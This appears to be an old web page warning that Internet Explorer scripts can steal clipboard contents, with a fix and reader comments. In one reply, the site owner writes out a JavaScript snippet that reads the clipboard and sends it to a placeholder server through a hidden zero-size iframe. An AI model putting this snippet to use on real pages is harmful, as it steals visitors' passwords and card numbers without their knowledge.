|
Text From Your Clipboard?
It is true, text you last copied for pasting (copy & paste) can be stolen when you visit web sites using a combination of JavaScript and ASP (or PHP, or CGI) to write your possible sensitive data to a database on another server. Hopefully you haven't copied a credit card number recently before surfing! This page will clear your clipboard, also a talking animated character will let you know if copied text was gathered before it gets cleared. See other free web tools HERE. (comments)
| Fortunately, the fix for this is also quite simple: 1. In Internet Explorer, go to Tools -> Internet Options -> Security 2. Click on Custom Level (preview image). 3. In the security settings, click to Disable the “Allow Paste Operations via Script.” That will keep your clipboard contents private (screen capture preview). |
|
|
www.Best-Toolbar.com - Freeware IE power search/submit to over 300 search engines
www.WHAK.com - Comedy search engine
www.CustomSignGenerator.com - Create funny & free ecards
www.Syncrisis.com - Compare search engine results side by side
www.SirSeek.com - Worldwide web search engine
www.Canuckster.com - Major Canadian search engine
www.CrisisSearch.com - Disaster links & crisis help (inspired by Hurricane Katrina)
www.SpareSomeChange.com - Homeless search engine & poverty portal
www.MedChecker.com - Medical portal
www.MaxSpider.com - Page text caching search engine
Some comments relating to this Clipboard security breach/flaw/exploit:
| I copy and paste my passwords all the time because I can never remember them. Great tip! It's scary to imagine all the people out there (70-90% of web browser/operating system market, right?) that could be surfing with their clipboards easily viewable by malicious web sites. |
| I do not believe that anyone can use Javascript on
client side to move it to server side so the server could steal your
data with asp or php, it is not possible, stop trying to be a dumbass
and scare the internet newbies, that is cowardly just so you get
attention with this page, lame.... Our reply: <script>var content = clipboardData.getData("Text"); if (content!=null) { document.write("<iframe width='0' height='0' src='http://www.somesite.ext/data2database.asp?variable="+content+"'></iframe>");}</script> Now there is a simple example I can come up with just at the top of my head that would transport such text to a server variable, plus it would not even be noticed on the web page as the sizes are set to 0 to make it 0x0 pixels (which computer will make invisible when viewing normal webpage)! Now what you think of that? You should not have forced me to prove it (but I have received many emails calling me a liar) as now that I have had to prove myself (now bloggers were "dissing" me in public blogs and forums), this exploit will become common knowledge and possibly even more people will exploit you... |
| WOAH, I never knew that. That is seriously bad! I'm kinda scared now
because I've started to use CTRl+C more and more and stuff. Our reply: You can self patch/fix it, instructions at above this table of comments. |
| Weird, it doesn't work on Firefox (well, for me) and the last thing
I copied wasn't right when I viewed it on IE. Anyway, thanks for the
tip. That's something that people will want to bear in mind, considering
that it's an overlooked feature and all. We usually trust the innocent
Ctrl+C that we don't know about the flaw it has. Sigh... why does it
have something to do with Javascript and the like?
It's so annoying... Our reply: This exploit only works on Microsoft Internet Explorer (when IE security is not set to high) or Netscape explorer only when Javascript is enabled. About 70% of internet surfers may be "infected" (affected). Some firewalls (not enough brands do this yet) will block clipboard gathering (not sure what one). |
| Do not keep sensitive data (like passwords, credit card numbers, PIN etc.) in the clipboard while surfing the web. It is extremely easy to extract the text stored in the clipboard to steal your sensitive information. If sufficient data is stored by mistake it would give away confidential and important information without you knowing about it. |
| Yeah this is certainly a great tip! I used to copy and paste my passwords but now i am not going to that anymore. thanks again buddy! |
| Thanks for posting this vital info...i use ctrl C all the time but not for sensitive data...i did not know clipboard was so easily accessible. well it even goes through my firewall. thanks for posting that warning, identity theft is already enough of a problem! |
| Everyone who uses a computer quickly learns how to cut and paste information from one location on the computer another using Microsoft Windows Clipboard. Of course, the Clipboard is a temporary storage area within Windows that holds the copied information. Is this process dangerous to use when on the internet? Well, it seems so as your site has demonstrated simply... |
| See more comments HERE or more public responses HERE. Post a comment HERE. |